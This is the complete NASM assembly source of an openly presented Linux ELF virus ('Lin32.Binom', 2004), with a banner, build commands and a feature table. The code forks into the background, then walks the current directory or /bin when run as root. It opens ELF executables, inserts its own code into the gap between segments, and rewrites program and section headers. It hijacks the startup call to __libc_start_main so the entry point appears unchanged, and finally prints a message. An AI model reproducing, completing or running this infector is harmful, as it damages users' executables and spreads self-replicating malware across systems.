; ; ; _______ __ __ __ _ _______ _____ _ _ ; | \_/ | \ | |______ | | \___/ ; |_____ | | \_| |______ |_____| _/ \_ ; ; ; proudly presents ; ; .____ .__ ________ ________ __________.__ ; | | |__| ____ \_____ \ \_____ \ \______ \__| ____ ____ _____ ; | | | |/ \ _(__ < / ____/ | | _/ |/ \ / _ \ / \ ; | |___| | | \/ \/ \ | | \ | | ( <_> ) Y Y \ ; |_______ \__|___| /______ /\_______ \ /\______ /__|___| /\____/|__|_| / ; \/ \/ \/ \/ \/ \/ \/ ; Date: 2.10.2004 ; ; ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| ; -|-|-| I*N*T*R*O*D*U*C*T*I*O*N |-|-|-|- -|-|-|-|-|-| C*O*M*P*I*L*E |-|-|-|-|-|- ; ; Well I dont want to tell you much There are options to compile this ; about this project... Just check source: FUCK_USER or FUCK_SYSTEM ; out the code and build your own ; oppinion. I'd like to thank to all bash:# nasm -f elf -D [OPTION] -o \ ; people on #DCA , #vx-lab , #lin32asm binom.o binom.asm ; for all their support. OPTION=FUCK_USER or FUCK_SYSTEM ; And now something special to my dar- ; ling: Caline I'll always love you. bash:# gcc -o binom binom.o ; ; ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| ; -|-|-|-|-|-|-|-|-|-|-|-| A*B*O*U*T |-|-|-|-|-|-|-|-|-|-|-|-|-|-|- ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| ; ; Like I said there 2 options.Binom ; means "two" so you'll have 2 versions ; of the virus. Its quite simple since ; it uses macros. ; ; Option FUCK_USER | FUCK_SYSTEM ; ------------------|------------------------------------------ ; Path to infect | "." | "/bin" ; ------------------------------------------------------------- ; File type | ELF | ELF ; ------------------------------------------------------------- ; Required rights | normal | root ; ------------------------------------------------------------- ; Infecting | SPI + Abuse of | SPI + Abuse of ; technique | _libc_start_main | shard libraries ; -------------------------------------------------------------- ; | yes(calculating | yes ; EPO |return addr using | ; |relative offsets) | ; -------------------------------------------------------------- ; Payload | yes(print msg) | yes(print msg) ; -------------------------------------------------------------- ; | no (change | no(change push ; Change entry | call instruction | instruction in the ; point | in the startup | startup routine ; | routine) | ; -------------------------------------------------------------- ; Files nr. to | all | all ; infect | | ; -------------------------------------------------------------- ; Invisible | yes(foking to | yes(froking to back- ; | background) | ground) ; -------------------------------------------------------------- ; ; ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| ; -|-|-|-|-|-|-|-|-|-|-|-| E*O*F |-|-|-|-|-|-|-|-|-|-|-|-|-|-|- ; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| %define SYS.FORK 2 %define SYS.READ 3 %define SYS.WRITE 4 %define SYS.OPEN 5 %define SYS.CLOSE 6 %define SYS.CHDIR 12 %define SYS.LSEEK 19 %define SYS.GETUID 24 %define SYS.GETGID 47 %define SYS.READDIR 89 %define SYS.MMAP 90 %define SYS.UNMMAP 91 %define SYS.STAT 106 %define SYS.GETCWD 183 %define STRUCT_STAT_SZ 64 %define STRUCT_DIRENT_SZ 266 %define STRUCT_MMAP_SZ 24 %define LOCAL_STACK_SZ 80 %define GLOBAL_STRUCT_SZ 134 %define MAGIC_FILE_MODE 7q %define MAGIC_FILE_BIT_MASK 170000q %define MAGIC_ELF 0x464c457f %define MAGIC_ELF_BASE 0x8048000 %define MAGIC_VIRUS_SIZE 0x1000 %define E_TYPE_OFFSET 16 %define E_ENTRY 0x18 %define E_PHOFF 0x1c %define E_PHENTSIZE 0x20 %define E_SHOFF 0x20 %define E_SHENTSIZE 0x28 %define E_PHNUM 0x2c %define E_SHNUM 0x30 %define PHDR_INDEX_DATA 3 %define PHDR_INDEX_TEXT 2 %define PHDR_P_FILESZ 16 %define PHDR_P_MEMSZ 20 %define PHDR_P_VADDR 8 %define SHDR_SH_OFFSET 16 %define SHDR_SH_SIZE 20 %ifdef FUCK_SYSTEM %define FIRST_PATH 0x0 %endif %ifdef FUCK_USER %define FIRST_PATH 0x2e %endif %define PATH_LENGHT 128 %define REG_FILE 10q %define DIREC 4q %define POINT 0x002e %define DOUBLE_POINT 0x2e2e section .text global main main: pusha pushf push ebp mov esp,ebp ; fork us baby .... mov eax,SYS.FORK mov ebx,0 int 0x80 ; checking wheter child or parent process ; is active cmp eax,0 jne parent_process child_process: ; first of all we must get the sysuid of current ; user...maybe we're root ;)) mov eax,SYS.GETUID int 0x80 push eax ; get gid and store it on stack... mov eax,SYS.GETGID int 0x80 push eax ; allocate space for the stat structure ; which will be needed by the stat function... ; then we'll scan beginning with "/" all directories ; and searching for ELF files. sub esp,STRUCT_STAT_SZ ; here are the "default" infos which are needed by stat() push dword FIRST_PATH ; first path to start with scaning push dword 0x7 ; file permissions %ifdef FUCK_SYSTEM mov esi,_system %endif ; start scaning beginning with FIRST_PATH call scan4files add esp,4*2 ; restore "default" infos add esp,STRUCT_STAT_SZ ; restore stat structure add esp,8 ; restore gid and uid jmp restore_data parent_process: mov eax,SYS.WRITE mov ebx,1 mov ecx,payload mov edx,len int 0x80 jmp _exit scan4files: %ifdef FUCK_USER mov esi,esp add esi,8 %endif mov edi,esp add edi,4 ; edi = access permissions ; store some space for our "global" structure for files ; this structure will contain the needed file descriptor ; , the access permissions and the complete path name ; of that file... sub esp,4 ; fd sub esp,1 ; permissions sub esp,1 ; file type : reg file or directory sub esp,PATH_LENGHT ; complete path lenght of file ;---> GLOBAL_STRUCT_SZ = size of this "global" structure ; stat our file name and complete the global structure ; with necessary information mov eax,SYS.STAT mov ebx,esi ; file name mov ecx,ebp ; BASE pointer sub ecx,STRUCT_STAT_SZ ; move to beginning of our stat structure int 0x80 cmp eax,0x0 jge stat_ok jmp _stat_error restore_data: pop ebp popf popa jmp _exit stat_ok: ; checking permissions on FIRST_PATH mov ebx,ebp sub ebx,STRUCT_STAT_SZ ; move to stat structure mov ax,[ebx+8] ; stat.st_mode ; comparing uid of FIRST_PATH with uid of currently ; executed file... mov cx,word [ebx+12] ; stat.st_uid cmp word cx,[ebp-4] je user_permission ; we have user permission on FIRST_PATH mov cx,word [ebx+14] cmp word cx,[ebp-8] je group_permission ; group access ; check if we're root ... hehe.. cmp word [ebp-8],0 je user_permission others_permission: ; ax = stat.st_mode ( look below ) and al,MAGIC_FILE_MODE jmp access_file user_permission: shr ax,0x6 and al,MAGIC_FILE_MODE jmp access_file group_permission: shr ax,0x3 and al,MAGIC_FILE_MODE access_file: ; store access permissions to our global ; structure mov byte [esp+PATH_LENGHT+1],al ; permissions ; checking file type : REG_FILE or DIREC mov ebx,ebp sub ebx,STRUCT_STAT_SZ mov ax,[ebx+8] ; stat.st_mode and ax,MAGIC_FILE_BIT_MASK shr ax,12 ; store file type to glob. structure... mov byte [esp+PATH_LENGHT],al ; checking if REG_FILE or DIREC ... mov al,byte [esp+PATH_LENGHT] cmp al,DIREC je directory ; jmp if file name is a directory cmp al,REG_FILE je near regular_file ; jmp if regular file... jmp _access_error directory: ; save current working directory... mov eax,SYS.GETCWD mov ebx,esp mov ecx,PATH_LENGHT int 0x80 ; opening directory... mov eax,SYS.OPEN mov ebx,esi ; file name mov ecx,0 ; ecx = 0 = O_RDONLY mov edx,0 int 0x80 ; check returned file descriptor.... cmp eax,0x0 jge open_ok jmp _open_error open_ok: ; save file descriptor to our glob.structure... mov [esp+PATH_LENGHT+2],eax ; file descriptor ; chdir to that directory so we can search for another ; files in that directory... mov eax,SYS.CHDIR mov ebx,esi ; file name int 0x80 ; allocating stack space for our dirent structure ; which will be needed for searching new files etc. sub esp,STRUCT_DIRENT_SZ read_directory: mov eax,SYS.READDIR mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2] ; file descriptor mov ecx,esp mov edx,1 int 0x80 cmp eax,0x1 jne near _readdir_error ; search for files in the directory and call scan4files... ; we'll have to skip "." and ".." coz they're ; irrelevant to us cmp word [esp+10],POINT ; [esp+10]=dirent.d_name je skip_points cmp word [esp+10],DOUBLE_POINT je skip_points xor eax,eax mov al,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+1] ; file permissions add esp,10 ; dirent.d_name %ifdef FUCK_USER push eax %endif %ifdef FUCK_SYSTEM mov esi,esp %endif call scan4files %ifdef FUCK_USER add esp,4 ; restore that "push eax" %endif sub esp,10 ; restore "add esp,10" skip_points: jmp read_directory regular_file: ; open file with flags READ & WRITE mov eax,SYS.OPEN mov ebx,esi ; esi = file name xor ecx,ecx mov ecx,2 int 0x80 cmp eax,0 jg file_write_perms jmp scan_return file_write_perms: ; save opened file descriptor to global structure mov [esp+PATH_LENGHT+2],eax ; finding out file's size using lseek ;) mov eax,SYS.LSEEK mov ebx,[esp+PATH_LENGHT+2] ; fd xor ecx,ecx mov edx,2 ; SEEK_END int 0x80 file_map: mov ecx,eax ; ecx = file lenght mov eax,SYS.MMAP mov edx,[esp+PATH_LENGHT+2] ; fd ; declaring mmap structure ... sub esp,STRUCT_MMAP_SZ mov dword [esp],0 ; int start mov [esp+4],ecx ; file lenght mov dword [esp+8],3 ; READ_WRITE mov dword [esp+12],1 ; MAP_SHARED mov dword [esp+16],edx ; fd mov dword [esp+20],0 ; int offset mov ebx,esp ; pointer to mmap structure int 0x80 ; restoring mmap structure... add esp,STRUCT_MMAP_SZ cmp eax,-1 jne file_map_ok jmp scan_return file_map_ok: ; save us some stack where we can store mmap addr,file ; lenght etc... mov esi,eax mov ebx,[eax] mov edx,MAGIC_ELF cmp edx,ebx je file_is_elf close_target: mov ebx,esi mov eax,SYS.UNMMAP int 0x80 mov eax,SYS.CLOSE mov ebx,[esp+PATH_LENGHT+2] int 0x80 jmp scan_return file_is_elf: ; ok...we found an ELF file.but remember there are ; several ELF file types like : executables, objects, ; relocatables...only the executable ones are for us ; relevant... file_elf_exec: ; checking is found file is an executable ELF file... ; therefore we will jump at offset ehdr.e_type and will ; compare the value with 2 . if the value = 2 then we found ; an executable and we can start with the infection of our file.. mov eax,esi ; esi = addr of maped file add eax,E_TYPE_OFFSET mov eax,[eax] ; data pointed by eax(addr of maped file) mov edx,eax xor eax,eax mov al,dl ; we only need the first byte cmp byte al,0x2 ; checking if ehdr.e_type == ET_EXEC je elf_exec_ok jmp close_target elf_exec_ok: ; we need some stack for storing our mmap addr , file ; lenght , etc. sub esp,LOCAL_STACK_SZ mov [esp+4],esi ; mmap addr mov [esp+8],ecx ; file lenght mov eax,[esi+E_ENTRY] ; ehdr.e_entry mov [esp+12],eax ; store entry point mov eax,[esi+E_PHOFF] ; ehdr.e_phoff mov [esp+16],eax ; store phdr offset mov eax,[esi+E_SHOFF] ; ehdr.e_shoff mov [esp+20],eax ; store shdr offset mov eax,[esi+E_PHNUM] and eax,0xffff ; ehdr.e_phnum mov [esp+24],eax ; store phdr number mov eax,[esi+E_SHNUM] and eax,0xffff ; ehdr.e_shnum mov [esp+28],eax ; store shdr number check_if_space: ; checking if space is available between code segment ; and data segment... ; since the code size is limited we must check if there is ; enough space where to insert our virus code.maximum code ; size is restricted by code alignment which is 0x1000=4096. ; SO : if the difference between code and data segment ; is lower than ELF_PAGE_SZ=0x1000 then we'll have to ; cancel our infection routine... mov ebx,[esp+16] ; e_phoff add esi,ebx ; esi=ptr to mapped ; file --> move to first PHDR entry phdr[0] mov ecx,[esi+32*PHDR_INDEX_DATA+PHDR_P_VADDR] ; phdr[3].p_vaddr : data segment (RW) mov eax,[esi+32*PHDR_INDEX_DATA+PHDR_P_FILESZ] ; phdr[3].p_filesz mov ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ] ; phdr[2].p_filesz: text segment (RE) mov [esp+32],ebx ; store p_filesz of .text mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR] ; phdr[2].p_vaddr add ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR] ; phdr[2].p_filesz + phdr[2].p_vaddr sub ecx,ebx ; phdr[3].p_vaddr - (phdr[2].p_filesz + phdr[2].p_vaddr) mov eax,MAGIC_VIRUS_SIZE ; the virus size is actually the ELF_PAGE_SIZE cmp ecx,eax jl near no_insertion_space ; from now on the target is actually ready to be infected... ; we have an executable ELF file which has enough space ; between his code and data segment to insert our virus code... %ifdef FUCK_USER start_infection: ; first of all we must do some "comparisation" processes.. mov eax,[esp+12] ; e_entry sub eax,MAGIC_ELF_BASE ; find out offset to entry code mov esi,[esp+4] ; addr to mapped file add esi,eax ; compare "call" of current program with "call" of target ; to see if target was infected by a superiour virus add esi,0x21 mov ebx,esi ; "beyond the call" sub esi,0x21 add esi,0x1d mov ecx,esi ; our patch address mov [esp+36],ebx ; store addr "beyond the call" mov [esp+40],ecx ; store "our patch address" ; now we'll have to patch that addr with our new entry ; point.REMEMBER: the entry point in the EHDR WILL NOT BE ; CHANGED.THATS THE FUNNY THING OF THIS VIRUS ;=) mov esi,[esp+4] ; mmap addr mov ebx,[esi+E_PHOFF] ; offset to first byte ; of PHDR add esi,ebx ; move to first byte mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ] ; p_filesz mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR] ; p_vaddr add ecx,edx ; p_vaddr + p_filesz ; align up the new entry point addr ; ALIGN_UP(x) (((x)+15)& ~15) add ecx,15 ; ecx = new entry ; point and ecx,~15 mov ebx,[esp+36] ; addr beyond the call sub ecx,ebx mov edx,[esp+40] ; "patch addr" ; first of all find out the addr which call should have called... mov esi,[esp+36] ; beyond the call mov eax,[edx] ; patch point add eax,esi ; addr we search for mov [edx],ecx ; store new addr mov [esp+44],ecx ; copy new relative offset to stack mov [esp+48],eax ; original addr %endif %ifdef FUCK_SYSTEM start_infection: mov eax,[esp+12] ; entry addr sub eax,MAGIC_ELF_BASE ; offset to entry point mov esi,[esp+4] ; mmap addr add esi,eax add esi,0x18 ; our patch point mov ecx,esi ; our patch address sub esi,0x18 add esi,0x21 ; "beyond the call" mov ebx,esi mov [esp+36],ebx ; store addr "beyond the call" mov [esp+40],ecx ; store "our patch address" mov esi,[esp+4] ; mmap addr mov ebx,[esi+E_PHOFF] ; offset to first byte ; of PHDR add esi,ebx ; move to first byte mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ] ; p_filesz mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR] ; p_vaddr add ecx,edx ; p_vaddr + p_filesz ; align up the new entry point addr ; ALIGN_UP(x) (((x)+15)& ~15) add ecx,15 ; ecx = new entry ; point and ecx,~15 mov ebx,[esp+40] ; our patch addr mov eax,[ebx] ; save original addr to stack mov [esp+48],eax mov [ebx],ecx ; patching addr %endif patch_e_phoff: mov esi,[esp+4] mov ebx,[esi+E_PHOFF] mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ] add esi,ebx ; store p_filesz to stack mov [esp+52],eax ; patch p_filesz add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ],MAGIC_VIRUS_SIZE ; store p_memsz to stack mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ] mov [esp+56],eax ; patch p_memsz add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ],MAGIC_VIRUS_SIZE ; initialize registers for patch_phdr mov edx,[esp+4] ; mmap addr mov eax,[esp+16] ; old ehdr.e_phoff add edx,eax ; move to phdr[0] mov ebx,MAGIC_VIRUS_SIZE mov eax,[esp+32] ; old p_filesz mov ecx,[esp+24] ; ehdr.e_phnum -> needed by the loop instruction patch_phdr: cmp dword [edx+4],eax ; (edx+4)=p_offset ; compare if ; p_offset >= end of code segment(old p_filesz) jbe next_phdr_entry add dword [edx+4],ebx ; else patch ; p_offset -> new p_offset = old p_offset + MAGIC_VIRUS_SIZE next_phdr_entry: add edx,E_PHENTSIZE ; move to next entry loop patch_phdr ; patching ehdr.e_shoff mov ebx,[esp+4] mov ecx,[ebx+E_SHOFF] ; e_shoff add dword [ebx+E_SHOFF],MAGIC_VIRUS_SIZE mov edx,[esp+4] mov ebx,ecx ; old e_shoff add edx,ecx ; move to shdr[0] ; initialize registers for patch_shdr mov ecx,[esp+28] ; ehdr.e_shnum mov eax,[esp+32] ; old p_filesz patch_shdr: cmp dword [edx+SHDR_SH_OFFSET],eax ; compare if ; shdr.sh_offset >= old p_filesz jge do_patch mov ebx,dword [edx+SHDR_SH_OFFSET] add ebx,dword [edx+SHDR_SH_SIZE] cmp ebx,eax ; if sh_offset + sh_size == old p_filesz je patch_sh_size ; patch the code segment jmp next_shdr_entry patch_sh_size: ; include trailing code in last section ; of code segment (should be .rodata) add ebx,MAGIC_VIRUS_SIZE ; increase lenght of .rodata jmp next_shdr_entry do_patch: add dword [edx+SHDR_SH_OFFSET],MAGIC_VIRUS_SIZE ; patch sh_offset next_shdr_entry: add edx,E_SHENTSIZE ; next SHDR entry loop patch_shdr fuck_em_all: mov ebx,[esp+LOCAL_STACK_SZ+PATH_LENGHT+2] ; fd xor ecx,ecx ; ecx=0=beginning of file xor edx,edx ; edx=0=SEEK_SET mov eax,SYS.LSEEK int 0x80 ; seek to end of code segment(old p_filesz) mov ecx,[esp+32] ; old p_filesz mov eax,SYS.LSEEK int 0x80 ; caution: lame coding style ;) ; now we'll need to "save" the original content ; of the file so we can copy it after infecting ; file...therefore we'll use sys.read.. ; like i said ; quite lame ;) mov eax,[esp+32] ; old p_filesz mov ebx,[esp+8] ; file lenght sub ebx,eax sub esp,ebx ; create temporary stack mov edx,ebx mov esi,edx ; ebx=edx=esi=difference ; seeking... mov ebx,[esp+edx+LOCAL_STACK_SZ+PATH_LENGHT+2] ; fd mov ecx,[esp+edx+32] ; old p_filesz xor edx,edx ; edx = 0 mov eax,SYS.LSEEK int 0x80 ; reading... mov edx,esi mov ecx,esp mov eax,SYS.READ int 0x80 write_me: ; we'll gonna seek again in the file... ; but this time with the aligned offset(needed ; to insert our virus code properly) mov ebx,[esp+esi+LOCAL_STACK_SZ+PATH_LENGHT+2] ; fd mov ecx,[esp+esi+32] ; old p_filesz ; ALIGN_UP(x) ... add ecx,15 and ecx,~15 xor edx,edx ; edx=0=SEEK_SET mov eax,SYS.LSEEK int 0x80 ; writting... --> pushy mov ecx,pushy mov edx,1 mov eax,SYS.WRITE int 0x80 ; writting... --> original entry point mov ecx,[esp+esi+48] push ecx mov ecx,esp mov edx,4 mov eax,SYS.WRITE int 0x80 pop ecx ; writting... --> till _exit mov ecx,main mov edx,len_till_exit mov eax,SYS.WRITE int 0x80 ; writting...--> virus_code="ret" mov ecx,virus_code mov edx,vircode_len mov eax,SYS.WRITE int 0x80 ; writting...--> after exit mov ecx,test_me mov edx,test_me_len mov eax,SYS.WRITE int 0x80 write_rest_of_file: ; seek after the virus code to insert the rest ; of the file ; seek to beginning of file xor ecx,ecx xor edx,edx mov eax,SYS.LSEEK int 0x80 mov ecx,[esp+esi+32] ; old p_filesz add ecx,MAGIC_VIRUS_SIZE xor edx,edx mov eax,SYS.LSEEK int 0x80 mov ecx,esp mov edx,esi mov eax,SYS.WRITE int 0x80 ; write rest of file add esp,esi ; restoring temporary stack no_insertion_space: unmap: mov eax,SYS.UNMMAP mov ebx,[esp+4] ; mmap addr mov ecx,[esp+8] ; file lenght int 0x80 add esp,LOCAL_STACK_SZ jmp close_target scan_return: add esp,GLOBAL_STRUCT_SZ ret _readdir_error: mov eax,SYS.CLOSE ; close directory mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2] add esp,STRUCT_DIRENT_SZ ; restore dirent structure mov eax,SYS.CHDIR ; move to previous current directory mov ebx,esp ; old PATH int 0x80 jmp _stat_error _open_error: jmp _stat_error _access_error: _stat_error: add esp,GLOBAL_STRUCT_SZ ; restore data allocated for our global structure ret len_till_exit equ $-main _exit: xor eax,eax inc eax int 0x80 test_me: %ifdef FUCK_USER payload db "[[ Cyneox/DCA (C) Copyright 2004 ]]!",0xA len equ $-payload %endif %ifdef FUCK_SYSTEM payload db "<< ..You've been binomitized!.. >> by cyneox",0xA len equ $-payload _system db "/bin",0x0 ; path where to search in when "fucking" up the whole system %endif pushy: push dword 0x0 virus_code: ret vircode_len equ $-virus_code test_me_len equ $-test_me